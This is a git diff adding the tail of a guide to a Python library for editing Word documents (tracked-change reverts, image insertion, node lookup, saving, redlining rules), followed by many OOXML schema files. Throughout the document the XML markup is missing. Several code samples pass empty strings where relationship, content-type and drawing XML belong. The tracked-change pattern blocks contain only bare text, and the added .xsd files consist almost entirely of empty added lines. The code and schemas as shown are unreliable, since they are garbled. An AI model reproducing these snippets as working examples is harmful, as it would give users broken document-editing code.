Returns [ins] + +# Reject deletion (creates insertion to restore deleted content) +# Use this when another author deleted text that you want to restore +del_elem = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "3"}) +nodes = doc["word/document.xml"].revert_deletion(del_elem) # Returns [del_elem, new_ins] + +# Reject all insertions in a paragraph +para = doc["word/document.xml"].get_node(tag="w:p", contains="paragraph text") +nodes = doc["word/document.xml"].revert_insertion(para) # Returns [para] + +# Reject all deletions in a paragraph +para = doc["word/document.xml"].get_node(tag="w:p", contains="paragraph text") +nodes = doc["word/document.xml"].revert_deletion(para) # Returns [para] +``` + +### Inserting Images + +**CRITICAL**: The Document class works with a temporary copy at `doc.unpacked_path`. Always copy images to this temp directory, not the original unpacked folder. + +```python +from PIL import Image +import shutil, os + +# Initialize document first +doc = Document('unpacked') + +# Copy image and calculate full-width dimensions with aspect ratio +media_dir = os.path.join(doc.unpacked_path, 'word/media') +os.makedirs(media_dir, exist_ok=True) +shutil.copy('image.png', os.path.join(media_dir, 'image1.png')) +img = Image.open(os.path.join(media_dir, 'image1.png')) +width_emus = int(6.5 * 914400) # 6.5" usable width, 914400 EMUs/inch +height_emus = int(width_emus * img.size[1] / img.size[0]) + +# Add relationship and content type +rels_editor = doc['word/_rels/document.xml.rels'] +next_rid = rels_editor.get_next_rid() +rels_editor.append_to(rels_editor.dom.documentElement, + f'') +doc['[Content_Types].xml'].append_to(doc['[Content_Types].xml'].dom.documentElement, + '') + +# Insert image +node = doc["word/document.xml"].get_node(tag="w:p", line_number=100) +doc["word/document.xml"].insert_after(node, f''' + + + + + + + + + + + + + + + + + +''') +``` + +### Getting Nodes + +```python +# By text content +node = doc["word/document.xml"].get_node(tag="w:p", contains="specific text") + +# By line range +para = doc["word/document.xml"].get_node(tag="w:p", line_number=range(100, 150)) + +# By attributes +node = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "1"}) + +# By exact line number (must be line number where tag opens) +para = doc["word/document.xml"].get_node(tag="w:p", line_number=42) + +# Combine filters +node = doc["word/document.xml"].get_node(tag="w:r", line_number=range(40, 60), contains="text") + +# Disambiguate when text appears multiple times - add line_number range +node = doc["word/document.xml"].get_node(tag="w:r", contains="Section", line_number=range(2400, 2500)) +``` + +### Saving + +```python +# Save with automatic validation (copies back to original directory) +doc.save() # Validates by default, raises error if validation fails + +# Save to different location +doc.save('modified-unpacked') + +# Skip validation (debugging only - needing this in production indicates XML issues) +doc.save(validate=False) +``` + +### Direct DOM Manipulation + +For complex scenarios not covered by the library: + +```python +# Access any XML file +editor = doc["word/document.xml"] +editor = doc["word/comments.xml"] + +# Direct DOM access (defusedxml.minidom.Document) +node = doc["word/document.xml"].get_node(tag="w:p", line_number=5) +parent = node.parentNode +parent.removeChild(node) +parent.appendChild(node) # Move to end + +# General document manipulation (without tracked changes) +old_node = doc["word/document.xml"].get_node(tag="w:p", contains="original text") +doc["word/document.xml"].replace_node(old_node, "replacement text") + +# Multiple insertions - use return value to maintain order +node = doc["word/document.xml"].get_node(tag="w:r", line_number=100) +nodes = doc["word/document.xml"].insert_after(node, "A") +nodes = doc["word/document.xml"].insert_after(nodes[-1], "B") +nodes = doc["word/document.xml"].insert_after(nodes[-1], "C") +# Results in: original_node, A, B, C +``` + +## Tracked Changes (Redlining) + +**Use the Document class above for all tracked changes.** The patterns below are for reference when constructing replacement XML strings. + +### Validation Rules +The validator checks that the document text matches the original after reverting Claude's changes. This means: +- **NEVER modify text inside another author's `` or `` tags** +- **ALWAYS use nested deletions** to remove another author's insertions +- **Every edit must be properly tracked** with `` or `` tags + +### Tracked Change Patterns + +**CRITICAL RULES**: +1. Never modify the content inside another author's tracked changes. Always use nested deletions. +2. **XML Structure**: Always place `` and `` at paragraph level containing complete `` elements. Never nest inside `` elements - this creates invalid XML that breaks document processing. + +**Text Insertion:** +```xml + + + inserted text + + +``` + +**Text Deletion:** +```xml + + + deleted text + + +``` + +**Deleting Another Author's Insertion (MUST use nested structure):** +```xml + + + + monthly + + + + weekly + +``` + +**Restoring Another Author's Deletion:** +```xml + + + within 30 days + + + within 30 days + +``` \ No newline at end of file diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd new file mode 100644 index 00000000..6454ef9a --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd @@ -0,0 +1,1499 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd new file mode 100644 index 00000000..afa4f463 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd new file mode 100644 index 00000000..64e66b8a --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd @@ -0,0 +1,1085 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd new file mode 100644 index 00000000..687eea82 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd @@ -0,0 +1,11 @@ + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd new file mode 100644 index 00000000..6ac81b06 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd @@ -0,0 +1,3081 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd new file mode 100644 index 00000000..1dbf0514 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd new file mode 100644 index 00000000..f1af17db --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd @@ -0,0 +1,185 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd new file mode 100644 index 00000000..0a185ab6 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd @@ -0,0 +1,287 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd new file mode 100644 index 00000000..14ef4888 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd @@ -0,0 +1,1676 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd new file mode 100644 index 00000000..c20f3bf1 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd new file mode 100644 index 00000000..ac602522 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd new file mode 100644 index 00000000..424b8ba8 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd new file mode 100644 index 00000000..2bddce29 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd new file mode 100644 index 00000000..8a8c18ba --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd new file mode 100644 index 00000000..5c42706a --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd new file mode 100644 index 00000000..853c341c --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd @@ -0,0 +1,56 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd new file mode 100644 index 00000000..da835ee8 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd @@ -0,0 +1,195 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd new file mode 100644 index 00000000..87ad2658 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd @@ -0,0 +1,582 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd new file mode 100644 index 00000000..9e86f1b2 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd new file mode 100644 index 00000000..d0be42e7 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd @@ -0,0 +1,4439 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 